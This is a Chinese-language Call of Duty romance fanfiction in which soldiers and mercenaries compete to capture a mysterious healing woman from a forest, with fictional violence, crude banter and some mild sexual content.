《[使命召唤/COD乙女]Y/N不是人》
1. 自娱自乐
一夜之间,全球组织同时收到统一指令。相同地点,相同任务,却来自多个“上级”。
普莱斯盯着密报,眉头紧锁,这任务简直莫名其妙。他径直走向Ghost的房间。门虚掩着,骷髅面罩遮住了男人的整张脸,他坐在武器箱上,低头擦拭MP5,连头都没抬。毕竟听脚步声,他就知道是谁来了。
普莱斯叼着烟,一屁股坐在旁边的椅子上。“Ghost,新任务。”
面罩下的嗓音低沉而模糊:“什么任务值得你亲自跑一趟?”语调毫无起伏,但普莱斯听得出他那副惯有的,漫不经心的冷嘲。
“自己看。”
Ghost扫了眼密报,冷笑,“连Kortac和豺狼都掺和进来?怎么,要我们联手找外星人?”
黑影部队正扑向黎巴嫩,准备端掉敌方的武器库。突然,最高权限指令强行切入:【撤回,优先执行。】
装甲车内,洛根侧头看向后车厢,“Keegan,就这么掉头?任务直接扔了?”
后方的男人没有回头,正盯着手头刚收到的任务信息,“听指令办事,伙计。别自己琢磨,现在掉头。”
而在塞尔维亚孤岛的训练场上,两个新兵偷瞄着树下那个熊一般的男人。
“喂,咱们指挥官究竟有多高,天天戴个抹布,一句话也不说,活像个中世纪的刽子手。”
“可不是吗,我打赌他往战场上一站,就足够让人感到恐惧了。”
一个半裸着身躯的男人,正靠在卡雅楝的枯枝上,如猎豹小憩。粗糙的面罩紧裹头颅,缝合线像伤疤般耷拉至颈侧,随着呼吸微微起伏。
“嗡,嗡”裤腰间加密终端突然震动,雇主开价高得惊人。他笑着点下确认的瞬间,任务简报便化作数据灰烬。
凌晨,山雾未散。接单的猎手们从不同时区赶来,最终都踏入这片密林。古木盘错,枝叶遮天,潮湿的空气中混着腐叶与泥土的气息。
地势起伏如龙脊,藤蔓绞缠似蛇群,与他们在欧洲的平原,非洲的荒漠或是美洲峡谷所见,都截然不同。这里完全是另一套法则的领地。
Ghost的骷髅面罩下传来一声冷哼。他一把拽住Soap的衣领,将他按在掩体后,声音压得极低,却字字带刺,“Soap,你确定现在要撒尿?这可不是141的独家派对。”
他抬眼瞥了眼Soap正要解腰带的手,“至少三个狙击镜正瞄着你的老二。想给他们当活靶子?”
嗤笑从骷髅面罩下精准传出,“呵,尿吧兄弟,不过等你嘴里咬着子弹拉裤链的时候,可别哭着来找我。”
Soap一边解裤腰一边咧嘴笑,“Piss off!Ghost,既然他们这么有兴致。”金属拉链在掩体后响起,“不如欣赏一下高地人的迎宾礼炮。”
Konig的狙击镜缓缓掠过那个正对着树干撒尿的身影。粗布面罩下的两窟窿,他眯起独眼,指节在扳机护圈上停了半秒,最终还是移开了视线。
频道里传来不同语言的加密通讯。所有人都明白这条铁律,在目标一致面前,任何组织的徽章都不过是可有可无的装饰。
所有人都像狼群般默契地保持着距离,在赏金到手前,没人会愚蠢地撕咬同类。
Krueger隐在树影间,指节勾着手雷保险栓,像把玩一枚致命的硬币。
湖面突然传来异动,水波划开的声响在死寂的山林里如同枪响。所有枪口瞬间转向声源,所有呼吸都在面罩下凝滞。
Keegan至今记得那份诡异的任务简报。
坐标:XXXX°N, XXXXX°W。指令:活捉
他在指定位置潜伏了26小时,夜视镜里掠过的只有山鹿与猫头鹰。总不可能,要抓的是这片土地本身?
直到月光剖开湖面,涟漪中心,一个女人缓缓浮出水面,仰躺在银色的水痕上。她的发丝如生命的暗流,在湖水中舒展蔓延。
山间的萤火虫突然躁动起来,成群结队地向她飞去,在周围织出流光。灌木丛中传来窸窣声响,夜行动物们正无视所有潜伏的士兵,径直向湖心聚拢。
Konig的呼吸在面罩里禁止了。狙击镜的十字线微微颤抖,这比他在维也纳地下诊所看到的标本还要魔幻。
萤火虫的光点在那女人周围旋转,像极了母亲烧掉的那本童话集里,妖精环绕月光仙子的插图。
他甚至焦虑得咬到了自己口腔内的软肉,锈味漫开时,才终于确认这不是幻觉。那些童年时被怪物们用黑笔涂满的图鉴,此刻正在他的瞄准镜里呼吸。
Soap的瞳孔在夜视镜下骤然紧缩,“Fuck,Ghost你他妈也看见了吧?这绝对不是我的环幻觉吧?”
“闭嘴!”Ghost的指节在枪柄上绷紧,面罩下的呼吸却纹丝不乱,“目标确认,都给我盯死了。”
当他的视线与湖心交汇的刹那,鼻息在面罩内微不可察地停滞了一瞬。夜视镜的绿光下,那张面孔,不是凡俗意义上的美丽,而是某种令人战栗的,近乎亵渎的神性光辉。
男人手指本能地收紧,手套与枪械发出细微的摩擦声。这女人周身萦绕的非人气息,让他的战斗本能疯狂预警。
一头巨大的白鹿突然踏破湖面,水波在它蹄下荡开。女人翻了上去,伏在鹿背上,黑发如瀑垂落,与鹿的纯白形成近乎刺目的对比。
她的目光始终锁在Ghost身上,从第一个音节起,整片山林的声息便在她耳中纤毫毕现。
Ghost的指腹无声地搭上扳机。那女人骑着白鹿向他走来,夜视镜里,她的瞳孔在暗处微微发亮,像某种夜行动物。
“保持警戒。”Ghost的声音压得极低,但足够让Soap听见,“这玩意儿不对劲。”
趴在灌木中的Keegan,连眼都忘记了眨动,他曾在哥伦比亚雨林狙杀过毒枭,在叙利亚废墟中护送过政要,那些生死一线的刺激向来是他最熟悉的快感。
可此刻,白鹿驮着女人踏水而出的画面,却让他久违地尝到了另一种战栗。不是肾上腺素的灼烧感,而是某种更古老,近乎本能的敬畏。他的手指悬在扳机上方两毫
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米处,既不敢扣下,又不敢撤离。
Krueger嘴角扯出一道弧,指腹拂过手雷的纹路。夜视镜里那个骑鹿的女人每靠近一米,他脑中计算的赏金数字就跳涨一个零。
这可不是常规的绑架目标啊,他记得地下黑市的规矩,就连超自然标本的成交价,向来都是普通□□的二十倍起步。
女人轻盈地从鹿背跃下,赤足踏在湿润的泥土上,月光在她脚边凝结成霜,她打量着Ghost的骷髅面罩。
“你是谁?”歪头的动作让长发倾泻,月光在其间流淌成银。
那双过于清澈的眼睛里,映出骷髅面罩的扭曲倒影,仿佛在端详某种新奇的甲虫。
Ghost的食指在扳机护圈上收紧半寸,“建议你保持当前位置,小姐。”
“我的雇主付了双倍酬金要求活捉你,但没说不能打穿你的膝盖。”
他故意让枪械发出清脆的上膛声,“当然,如果你更喜欢被麻醉弹放倒,我也可以帮你选个舒服点的睡姿。”
“活捉?”她的声音像山涧清泉,“为什么?”
男人不耐烦地皱眉,在扳机上施加了压力,“我最后一次警告,不穿衣服的小姐,站在原地别动。”
白鹿突然发出低沉的嘶鸣,前蹄不安地刨着地面。女人伸手抚过鹿颈,目光重新落在Ghost身上,“倒是你,戴着这样的面具,是在害怕被谁认出来吗?”
Ghost的指节猛然收紧,一把将她扯到眼前,力道大得几乎要捏碎她的腕骨。骷髅面罩下的呼吸灼热粗重,喷在她赤裸的肌肤上,却毫无旖旎只有压迫。
男人嗓音低哑,掐住她下巴,强迫她直视自己,“害怕被认出来?你算什么,也配试探我?”
女人的身体在月光下莹白如玉,非人的美丽近乎妖异。Ghost的枪口从她眉心缓缓下移,抵住心脏。
白鹿暴起,尖锐的鹿角直刺向Ghost咽喉,但他连眼都没眨,大手精准钳住鹿角,闪电般抽出匕首,刀尖抵住鹿眼,“动一下试试。”
Ghost的声音比刀锋更冷,骷髅面罩下的呼吸平稳得可怕,“我不介意给食堂加道野味。”
Y/N只是轻轻偏头,指尖掠过白鹿颤抖的眼睑。令人毛骨悚然的一幕出现了,方才还暴怒的动物竟像被抽走魂魄般,温顺地垂下头颅,鹿角擦过Ghost的战术手套,无声无息地退入黑暗。
男人虚起眼,枪管再次抵在她心口,另一只手却猛地扯过Soap的外套,粗鲁地裹住女人赤裸的身体。布料摩擦间,他指节绷得发白,像是极力克制着某种暴戾的冲动。
在一旁的肥皂骂骂咧咧抱着胳膊,夜风吹得他起了一身鸡皮疙瘩。Ghost头都不回地骂道,“别装了,苏格兰蠢货。”
他突然把女人扛上肩头,对着通讯器低吼,“Price!准备直升机。”
Ghost扛着她大步往直升机停靠的区域走去,夜风卷着她的发丝吹散在他肩头。他走得极快,每一步都像在宣告主权,这个女人是他的猎物,他的战利品,他的……
2. 自娱自乐
“砰!”
子弹擦着Ghost的太阳穴掠过,在他面罩上撕开一道裂痕。
他猛地侧身,几乎在同一瞬拔枪回击,但对方第二发子弹已经打穿了他的肩胛,女人从他肩上滑落。
而Krueger像猎豹扑食般窜出,一把接住了她。
“谢了,Skull(骷髅脸)。”他朝Ghost眨眼。
手臂锁住女人的腰,持枪抵住太阳穴,“这单生意,我收下了。”
骷髅面具里的眼睛暗了下来,“呵,挺勇敢啊,这么喜欢找死。”
Krueger只是低笑着,手臂死死箍住Y/N的腰,拖着她一步步往后退。枪口始终没离开她的头颅,纹丝不动。
他眯起眼,“别动,骷髅脸。你知道我的规矩。我得不到的,就毁掉。”
他的手掌掐住她的下颌,但并未用力,眼神狂热,“何况这个女人,得值多少钱?黑市会疯掉的。”
Ghost的音调变得极其缓慢。
“最后一次警告。别挑战我的耐心,Rabid Dog(疯狗)”
Krueger嗤笑,抗着她往密林深处退去。
“哈!来追啊,看看是你快,还是我的子弹快。”
女人在他臂弯里颠簸,揪住Krueger的头套,“你们在玩什么?”
Krueger反手将她手腕扣在腰带上,尾音带着狩猎的兴奋颤抖。“Unartige Katze(不乖的小猫)。”
女人另只手却抬起,轻描他眼角,那深褐的眼珠圈纹似活物搏动,“人类的瞳孔,也会呼吸吗?”
她困惑地呢喃,指腹下的皮肤烫得惊人。月光下,男人瞳孔边缘的猩红流动,
“WeiBt du was mit neugierigen Katzchen passiert?”(你知道好奇的小猫会有什么下场吗?)
她用力抚过他眼皮,Krueger闷哼一声,舌尖磨过上槽牙,他竟渴望她能触碰得更深些。
突然,一座山岳般的身影横挡在前。粗麻布头套下,一双湿漉漉的蓝眸正直勾勾盯着Krueger怀里的女人。
他嗓音里带着固执,头罩随呼吸剧烈起伏,“人给我!是…..是我在狙击镜里,第一个锁定她的。”
“Burlap Boy(麻布小子)不懂先来后到的规矩?”
两人都是PMC里出了名的狠角色,早就在各种暗巷,战场上打过照面。
Krueger眯起眼,“什么时候老鼠也敢在光天化日下讨食了?”
他没想到,这个平时只敢躲在阴影里放冷枪的神经病,今天居然敢大摇大摆现身要人。
而怀里的女人竟也向前探身,发丝扫过Krueger紧绷的下颌,执拗地朝Konig伸出双臂,像个在糖果店前耍赖的孩童。
对她来说相比身下这捉摸不透带着危险气息的男人,她更喜欢那双水亮的眼睛,纯粹得让她安心。
Konig却慌乱后退,这个常年藏在粗麻布后的巨人,此刻正经历着比枪林弹雨更令他无措的冲击。
童话里走出来的仙子,竟选择触碰一个连真容都不敢示人的怪物。
当女人看他这反应正要收回手时,Konig的身体却做出了反应,左臂猛地揽过她,抬腿踹在Krueger身上。
对方像破沙袋般飞出三米远,重重砸进灌木丛。
他仰躺在灌木丛中,突然放声大笑,自己居然因为那女人选择Konig的瞬间,像个初上战场的菜鸟一样愣神了半秒。
而她竟似只归巢的雏鸟般扑向Konig,那个平时连呼吸频率都控制不好的怪胎,装作护卫者般从他手头抢走赏金。
太荒谬了,他Krueger什么时候需要跟人争猎物了?
但腹部的疼痛变得鲜明起来,仿佛连痛感在替他宣泄某种说不清的躁动。
Konig将女人牢牢锢在怀中。纤细的身躯在身上轻若无物。
他的声音从头罩后传出,“你….我…我叫Konig,呃….你呢?你怎么会在这里….”
女人即便坐在他的臂弯里,却还是不得不仰起头,才能对上他低垂的视线。
“叫我Y/N吧。”
男人胸腔传来的心跳声,让Y/N想起曾遇见的棕熊,毛茸茸,暖呼呼,那种让人安心的温度,将所有寒意彻底隔绝在外。
Konig能感觉到山风淌过Y/N的发丝间,轻飘飘钻进自己粗麻布的缝隙。
Y/N眯起眼,仰头直视Konig,“为什么你们突然对我这么感兴趣?“
她抬手勾住粗布上的窟窿眼,想将konig的眼睛看得更真切一些。
“上周那个从天上掉下来的男人,我救了他,这就是回报?”
Konig的呼吸在头罩下变得粗重,搭扣随着胸膛起伏发出声响。
他突然意识到一个荒谬的矛盾,如果Y/N没有救那个该死的男人,就不会引来这些贪婪的追猎者。
可如果没有那个意外,他永远也不会遇见这月光化身的精灵。
“ScheiBe!”(该死!)我…..我并不是在….这个词…..并不是对你说的,Y/N。”
他的手掌小心翼翼托住Y/N的肩颈,像捧着一枚随时会融化的雪晶。
远处传来Krueger爬出灌木丛的骂声,但此刻他的视线里只剩下怀中人睫毛上沾着的夜露。
konig别过头不再看她,闷闷的声音从粗布下流出,“你….你放心!Y/N!我会保护好你的!”
话音刚落下,三道黑影窜出截断去路。
Ghost染血的骷髅面罩在月色下泛出冷光,肩头的弹孔还在渗血,他却像没有痛觉似的举着枪。
Price叼着雪茄,匕首在指间翻转,Soap嘴角挂起戏谑的笑,三人形成完美的猎杀三角。
Soap吹了个轻佻的口哨,“想做骑士?没想到我们的巨熊先生还有这癖好。”
Price看也没看他,吐出一口烟圈。“把她交出来,Konig。这不是你一个人吃得下的猎物。”
Soap微微压低枪口,他冲Y/N眨了眨眼睛。
“嘿,女士,我们那儿可比这头狗熊的窝强多了。记忆棉床垫,独立卫浴,还有全天候供应的热可可。”
“他们KorTac可有不少危险的家伙,对于您这样美丽的女士来说,不是好选择。”
Soap瞥了眼Konig紧绷的手臂线条,非必要情况他可不想跟这巨怪肉搏。
“当然,你要是想先和这位泰迪熊先生培养感情,我们很乐意多等会儿。”
“前提是,你身后那位幽灵骑士,别突然决定把我们全变成筛子就行。”
Ghost的骷髅面罩下传来一声不耐烦的轻啧,“Soap,你从哪听来的恶心称呼。”
他将枪口对准Konig的眉心,“有闻到味儿的狗正在接近,别浪费时间。”
Y/N从Konig怀中轻盈跃下,赤足点在地上。虽然这只小熊确实很强,但那个骷髅男看上去与他不相上下,更何况现在是三对一的不利局面。
她耸耸肩无所谓道,“好吧,我跟你们走。”
正好她也想去看看人类世界。至于是跟这三个人离开,还是跟其他人,对她而言并没有什么区别。
Ghost看了她一眼,单手换弹的动作快得几乎出现残影,“明智的选择。”
konig一把将她护在身侧,“没….没事的!Y/N!我打得赢他们!”
她看了眼浑身绷紧的Konig,伸手拂过他面罩边缘,“别这副表情,小熊。等我看腻了他们那儿,说不定会来找你玩呢。”
直到上了飞机,Konig还耷拉着脑袋站在原地。
Ghost心中莫名不爽,对座的女人,正好奇地贴在窗上。
他想起她刚刚对那只大耗子说的话,好像在她眼里,他们141只是一个旅游景点。
Ghost环抱着手臂,骷髅面罩微微上扬,他居高临下睨着Y/N。
“当这是度假项目?我们那儿可没纪念品商店。”
他突然俯身,火药混着血锈的气息擦过她鼻尖,“你最多待48小时就会被装箱送走。”
男人手掌扣住Y/N后颈,将人拉近,又蓦然松开手。
“所以,别做多余的事,Sprite(小精灵)”
Y/N看不懂眼前这个被骷髅脸覆盖的男人,他似乎并不讨厌自己,可每当他触碰到她时,面罩下总会传来一声几不可闻的吸气。
像是被烫到般迅速缩回手指,又在下一秒将枪械握得更紧。
这让Y/N想起北坡那头独行的灰狼。当她伸手抚摸它耳后的绒毛时,狼吻总会条件反射地皱起,露出森白獠牙。
可却在她后退的时候,又不动声色挪近,让带着伤疤的鼻尖刚好能蹭到她的脚踝。
“你还在流血,不用管吗?”Y/N指向Ghost被血浸透的肩甲。
而男人似乎早就习惯这样的伤势了,他连最基本的战场包扎都懒得做,这种程度的贯穿伤对他来说不过是又一道需要记录的疤痕罢了。
骷髅面罩下传来一声冷哼,Ghost的目光狠狠剐过她探询的视线,
“管好你自己。”说完便笔直地钉回座位上,没有再看她。
Y/N毫不在意Ghost的冷漠态度。在她眼里,这个男人甚至没有那头灰狼来得危险。
她毫无预警地
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倾身向前,整个人贴了上去。
肥皂瞬间抬起屁股想要阻止,他太了解这男人的条件反射了。
上次在喀布尔,有个平民只是抬手擦汗,Ghost的匕首就已经抵住了那人的颈动脉。
可下一秒肥皂彻底傻眼,Ghost的枪刚抬起15度角,Y/N的唇已经贴上他染血的部位。
月光渗进窗,女人亲吻伤口的姿态虔诚得像在对待圣痕,而Ghost的枪管就这么诡异地悬停在半空。
“Bloody hell……”肥皂默默坐了回去,他分明看见Ghost的食指还扣在扳机护圈里。
这哪是慢了一秒?根本是那杆向来杀伐果决的枪,破天荒在她面前卡了壳!
Ghost的肌肉记忆在感知到Y/N靠近的瞬间,违背意志放慢了反应速度,这让他自己都感到一阵反胃。
他的战斗本能明明应该像往常一样,在极致的短时间内完成瞄准射击动作,但此刻,枪口抬升速度慢了整整一倍。
“Fucking Hell!”他在面罩下暗骂,喉结滚动着咽下涌上来的恶心感。
这种不受控的迟疑比战场上的子弹更让他恐惧,难道这女人除了这张该死的皮囊,还有什么超自然的蛊惑能力?
太阳穴突突跳动,Ghost想起在贝尔格莱德见过的那些被催眠的特工。
但唇贴上他伤口的温度太过真实,真实到让他分不清到底是她有问题,还是自己他妈的中邪了。
枪械的冰冷金属抵在她腰侧,却始终没能完成最后的上膛动作。
当Y/N跨坐在他腿上,俯身用唇舌抚慰那道伤口时,Ghost的神经集体罢工。
所有疼痛信号都被按了静音键,取而代之的是一种陌生的,令人毛骨悚然的愉悦。
就像吗啡直接推进了脊椎,深色瞳孔在面罩后不受控地扩散。
时间被拉长,他甚至能清晰分辨出她唇瓣的纹路,以及舌尖扫过弹痕时的弧度。
当她的齿尖蹭到未愈合的嫩肉时,他居然在腰带上掐出了指痕,不是因为痛,而是因为那股窜上后脑的快感太过强烈。
Y/N退开的瞬间,Ghost的左手已经悬在半空,五指张开又蜷缩,像个戒断反应发作的瘾君子渴望再来一针。
面罩下的呼吸急促到起雾,而更可怕的是,他发现自己正在用战场上引以为傲的专注力,回忆她腰线的位置。
随着Y/N“叮”的一声,将染着血的弹头吐在机舱地板上,整个机舱陷入诡异的死寂。
肥皂哐当取下夜视镜,“OMG!Ghost你的伤呢?!”
Price的指节在操纵杆上一紧,直升机差点偏离航线。
他扭头时正好看见Ghost撕开作战服,本该有个狰狞弹孔的位置,现在只剩一片光滑的皮肤,连旧疤痕都消失得干干净净。
Ghost抬手抚上伤口,那里平整如初,没有任何弹孔,没有任何裂痕。
他见过自称先知的老头用草药让伤口结痂,也目睹过毒枭请来的祭司搞些跳大神的把戏。
但那些最多算心理安慰,绝不可能让子弹造成的贯穿伤,犹如被按下撤销键一样消失。
“你究竟是什么?”他扯下战术手套,带着枪茧的拇指扣在她锁骨上。
深棕色的虹膜在机舱应急灯下像两枚冷却的弹壳,所有情绪都被压在了假性的平静之下。
Y/N歪头看他,发梢还沾着他伤口的血珠。
“何必管我是什么呢,反正我们最多只会相处48小时。”
那触感让他想起在任务中意外触碰到的未爆弹引信,危险又诡异地令人着迷。
男人的喉结不自觉滚动,面罩下的嘴角绷成一条线。
Soap愉悦的看向他,这家伙总算因自己说的话吃瘪了。
Soap挤到Y/N身边,像只大型犬般举起右手,小指关节呈现出不自然的扭曲角度,那是他上个月在港口近身搏斗时,被敌方的指虎砸碎的旧伤。
“这玩意儿阴雨天疼得像有根钢钉在里头搅,”
他龇牙咧嘴地活动着变形的手指,“能劳驾您,呃,施展一下那个神奇的小魔法吗?”
Y/N打量着这个热情的大兵,握住他的手腕轻轻一拽,低头将嘴唇贴上那处凸起的关节。
Soap瞬间像被高压电击中般绷直了脊背。喉间溢出半声哽咽的喘息,连脚趾都在军靴里蜷缩起来。
Ghost看他这副模样一脚蹬了过来,“赶紧滚开,我还有事问她。”
Soap揉着大腿栽进装备箱里,脸上还挂着梦幻般的傻笑。
他摸着已经恢复如初的指关节,突然理解为什么中世纪骑士都爱为女巫打仗了,这可比皇家陆军医院的止痛针带劲一百倍。
3. 自娱自乐
直升机旋翼卷起的沙尘尚未落定,Ghost让Y/N走在前面。
清晨训练场上的新兵们像被集体施了定身咒。正在搬运弹药箱的菜鸟手一滑,子弹哗啦啦洒了一地。进行格斗训练的两人保持着锁喉姿势僵在原地,眼珠都快瞪出眼眶。
Ghost这才意识到自己犯了个致命错误,他一把拽住Y/N的后衣领,像拎猫崽似的把她扯到身前。
另一只手拽着拉链头直接拉到顶,差点夹到她下巴的软肉。Y/N被裹得只剩个脑袋露在外面,“你不知道自己是个女人?”
Y/N完全无视了Ghost,像个初入游乐园的孩子般东张西望。她的目光掠过沙袋垒成的掩体,漆成迷彩色的集装箱,甚至正在拆解枪械的后勤兵,每一样都令她感到新奇。
Ghost拧着眉,攥着她胳膊的手又收紧了几分。那该死的作战服下摆随着她的动作不断翻飞,像面挑衅的旗帜,晃得路过的士兵们纷纷驻足。他索性一把扯下前面soap的战术围巾,粗暴地系在她腰间,打了个死结。
“再乱动就把你扔进审讯室。”他压低声音威胁,却看见她正踮脚去够树枝上停着的无人机,这女人根本不知道什么叫危险。
Ghost现在万分后悔没直接把她押去地下安全屋。至少那里没有这么多双该死的眼睛,也没有会让她分心的事物。他拽着Y/N快步穿过训练场,身后留下一串踉跄的脚印和此起彼伏的抽气声。
Keegan仰面躺在宿舍的硬板床上,他翻了个身,军用床垫发出吱呀声,昨夜的画面在脑里始终挥之不去。
那女人的出现像一缕清泉,正寸寸沾湿他,从脚底开始,一点点往上钻。这非常不对劲,他不是未经事的男人,却被远远见了一眼的人挑拨起心绪。
Keegan摸向枕下手枪,金属的冰冷触感让他稍微清醒了些,他可是在叙利亚用匕首割断过敌人喉咙的老兵,现在居然因为个来路不明的女人失眠?
男人后脑勺抵在墙面上,他眯起眼睛,盯着天花板上摇晃的灯泡,那女人的身影就像这晃动的光晕,明明灭灭地烙在他眼里。
他并不觉得是自己的问题,那可不是什么普通逃犯或政要,能让所有组织出动的猎物,本身就意味着非常规的危险系数。
但现在141的人已经抢先一步,按照规矩他该就此收手。这次任务,毕竟无论是谁押送目标,所有参与行动的成员都能分到那份丰厚到离谱的赏金。
但他实在好奇,这是他这位老兵这么多年来对执行目标第一次感到好奇。Keegan猛地起身,带翻了一旁的椅子,奖赏见鬼去吧,他得再查查那份被加密的档案。
Price大步穿过基地走廊,军靴踏地的声响,都比平时重了几分。自从直升机落地后,他眉间的沟纹就没舒展过。当他径直走向Ghost的临时宿舍时,门内传来一阵噼里啪啦的动静。
推门瞬间,Price的雪茄差点从嘴里掉下来。
Y/N正跪在Ghost的战术背包上,手里把玩着几颗未拆封的震撼弹,脚边散落着被拆解的步枪零件,医疗包绷带和若干匕首。
而Ghost,那个平时在枪林弹雨里都能面不改色的Ghost。此刻正弓着背坐在木椅上,骷髅面罩下的呼吸粗重得像头被激怒的斗牛,握枪的指节泛着青白。
Price清楚地看到,Ghost的太阳穴不停跳动,枪口几次抬起又强迫自己压下。那副模样,活像是要把眼前的女人钉在墙上用机枪扫射十分钟,又不得不记着“必须活捉”的命令而硬生生憋成内伤。
Price斜倚在门框边,他眯起眼睛,忍不住从牙缝里挤出一声低笑,“Ghost,真没想到,你也有今天。”
Ghost猛地抬头,面罩下的视线锋利得能剜下一块肉来。他粗暴地将散落的零件一股脑塞进武器属箱,“咔嗒”一声扣上锁,力道大得像是要把箱子捏变形。
“给她安排个房间,”他大步走向门口,“或者随便找个笼子关起来。”
话音未落,他反手“砰”地甩上门,“别指望我当她的看门狗。”
Price深深吸了一口雪茄,灰白的烟圈在昏暗的灯光下扩散,像是化不开的疑虑。
他盯着Ghost,声音压得极低,“我就是想跟你谈这事,她不是普通人。我们甚至不知道她到底是什么,但她能治愈伤口,连子弹贯穿的伤都能在几秒内复原。”
他抬手揉了揉鼻梁,指间的雪茄燃出一截长长的烟灰,“老实说,我在犹豫。如果把她交上去,她的能力落到敌人手里......”
Price没有继续说下去,但眼神里的挣扎显而易见。他转头望向窗外,夜色中隐约传来训练的跑步声,“想想看,要是恐怖组织得到了这种力量,战场上我们的兄弟连受伤的机会都没有,直接变成尸体。”
Ghost抱臂靠在墙上,“所以?你打算违抗命令?”阴影中,他的面具就如他的名字一般。
Price突然掐灭了雪茄,火星在指尖熄灭的瞬间,他的眼神变得异常锐利,“我在想,也许我们该先搞清
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楚。她究竟是Angle,还是披着人皮的生化武器。”
Konig被传唤到Phillip的办公室时,整个房间笼罩在监视器荧幕的冷光里。Phillip背对着他站在落地窗前,“解释一下,为什么会被141特遣队抢先?你让我很失望。”
Konig垂着头,面罩的布料在指间绞紧。阴影中,他高大的身躯像是被抽走了支撑,只剩作战服上的夜视仪还在反着光。
Phillip早已习惯这种沉默,这个从“黑鼠计划”培养槽里爬出来的怪物,从来都是用绝对的服从代替辩解。
他可是最得意的成果,唯一兼具战斗本能与人性的半成品,编号SubjectK-9。肌肉密度是常人的三倍,却仍保留着痛觉神经,能徒手撕开防弹装甲,却会对孩童收起利爪。
“记住你的身份,别让那些残存的情感毁了它。”他伸手拂去Konig肩头根本不存在的灰尘,这个动作让监控镜头后的人们集体屏住了呼吸,上次有人碰到SubjectK-9的防护服,整条手臂现在还在实验室冷柜里冻着。
可他却对这个男人似乎没有任何抵抗情绪。
Krueger找了处废弃的村落歇脚,踹开摇摇欲坠的木门,沾血的赏金袋随意甩在积满灰尘的土炕上。
地下黑市那些俘虏的惨叫声还在耳畔回响,可这次连最残忍的处决方式都没能让他血液沸腾。
月光从坍塌的屋顶倾泻而下,正好照亮他横陈在土坯上的身躯。Krueger将双臂垫在脑后,突然发现今晚的月亮和那晚一样,都带着令人作呕的澄澈。
就像那个女人站在林间空地上时,月光为她镀上的那层该死的银辉。
他的齿尖不自觉磨过下唇结痂的伤口,更让他恼火的是,自己居然记得,记得她对Konig说的每个音节。
那个名字在她舌尖滚动的发音,Y/N。
夜风突然灌进来,吹得赏金袋里的金疙瘩叮当作响,却盖不住他耳边循环播放的那声轻唤。
“Verdammter!”那只惯常拧断敌人脖子的右手,此刻正粗暴地探向作战裤的束缚。
皮革摩擦声里混进搭扣弹开的脆响,他仰头盯着房梁缺口外那轮月亮,仿佛要把它瞪出血来。
指腹碾过绷紧的皮肤时,他幻觉闻到了林间露水的味道,就像那晚Y/N抚摸他眼角时带起的气息。
废弃的十字架阴影投在他起伏的胸膛上,像一道耻辱的烙印。远处传来野狗的呜咽,竟和他喉间溢出的喘息重合。
4. 自娱自乐
Y/N仰躺在特意为她腾出来的仓库中央,身下是Price吩咐士兵不知从哪抬来的一张床垫,柔软得几乎要将她整个人包裹进去。
角落里用厚重的军用防水布草草隔出一块区域,权当是卫生间。帘子随着通风系统的气流微微晃动,露出里面简陋的淋浴头和金属洗手台。
她翻了个身,这间仓库原本是用来堆放物资的,墙壁上还留着几道没清理干净的弹药箱划痕。天花板上的防爆灯投下冷白的光,照得整个空间像是某种精心布置的牢房。
但Y/N并未觉得有什么不舒服,反倒对这一切都充满了新奇感。她曲起膝盖,身上穿着的是Soap从Laswell那借来的衣物。
从太阳彻底爬上头顶时,Y/N便在仓库里一直睡着,任由白昼的光线,透过高处的窗流淌进来,却始终不曾醒来。
这是她与生俱来的习性,在日光最盛时沉入梦境,仿佛某种古老的生物本能。
Y/N自己也说不清自己到底是什么,只是隐约记得,在那片山林深处苏醒时,苔藓已经爬满了她的指缝。
她诞生于某个古树洞中,树皮成了她最初的襁褓。山脚下的村民曾举着火把前来,在树前摆上彩绳编织的小兽和滴着糖汁的米糕。
那些皱纹里嵌着泥土的老人,会带着孩童前来,对着树洞唱诵祖辈传下来的歌谣。
后来,举火把的孩童变成了拄拐杖的老者,再后来,连拐杖叩击山石的声音也消失了。
Y/N蜷缩在床垫上,耳垂还系着当年某个小姑娘绑在树梢的红绳残线。
通风系统吹出的气流拂过她眼皮时,恍惚间又变成山风掠过树洞的呜咽。
突然,Soap兴奋的承诺在Y/N脑中回放,什么记忆棉床垫,独立卫浴,全天候供应的热可可。前两个很好理解,现在她都有了,热可可呢?那是什么?
凌晨三点,训练场的探照灯在Ghost身后投下阴影。他蜷坐在弹药箱垒成的临时掩体后,骷髅面罩被掀起一角,香烟咬在齿间,露出紧绷的下颌线。
Ghost瞥见废弃仓库二楼的感应灯,一盏接一盏亮起,他烦躁地侧过身移开视线。
突然,一阵噼里啪啦的撞击声,伴随着微弱的惊呼刺破寂静,Ghost的指尖顿住,他深深吸了口才刚点燃的烟。
下一秒烟头就被狠狠摁在地上,碾压的动作让水泥地擦出几粒火星。白烟从齿缝间重重吐出,在夜里凝成短暂的雾团。
Ghost轻啧了一声,骷髅面罩扣回原位,站起身朝楼里慢悠悠走去。
Y/N在走廊里东张西望,像只好奇的猫一样打量着四周。她找了半天,也没发现类似热可可的东西,直到看见走廊尽头亮着的大方盒,这完全吸引了她的注意。
废弃的二楼堆满了杂物,纸箱和裸露的电线散落一地。她刚想跑过去,脚踝却被缆线缠住,整个人栽进了旁边的纸箱堆里。破碎的应急灯玻璃和空弹壳哗啦啦撒了一地。
Ghost 刚走到二楼楼梯口,瞳孔在面罩后紧缩,心脏像是被狠狠攥住。一个浑身是血的身影,正紧贴在售货机前。
“Bloody hell!”这句咒骂几乎是从牙缝里挤出来的,带着他自己都没意识到的慌乱。
身体先于理智做出了反应,靴子砸在楼梯上的声响大得惊人,三步并作一步冲上台阶时,他的呼吸乱了。操,他的呼吸居然乱了。
自动售货机的冷光映着Y/N手臂上极深的伤口,一道道猩红,顺着苍白的肌肤流下,在指尖凝聚成珠,滴落在地面,甚至还发出了轻微的“啪嗒”声。
可她却像感觉不到疼痛似的,竟将胳膊举到眼前,观察着血珠在荧光下的颜色变化。
某种尖锐的焦躁感在Ghost胸腔里横冲直撞。这不对劲,他从来不会这样,不会因为谁受伤就方寸大乱,不会在任务之外对任何人产生这种,该死的保护欲!
随即涌上来的是一阵自我厌恶,他狠狠咬了下舌尖,强迫自己恢复往常的模样。
可当他开口时,声音却比想象中沙哑,“你在搞什么鬼?”
Y/N这才注意到他,转过头来时,一滴血正从她下巴滑落。
“啊,”她眨了眨眼,“这些吗?”
她随意地甩了甩手臂,血珠飞溅在周围的纸箱上,“应该很快就会好了。”
Ghost的视线始终死死钉在她鲜血淋漓的手臂上,面罩下的声音带着压抑的怒意,“什么叫很快就会好?”
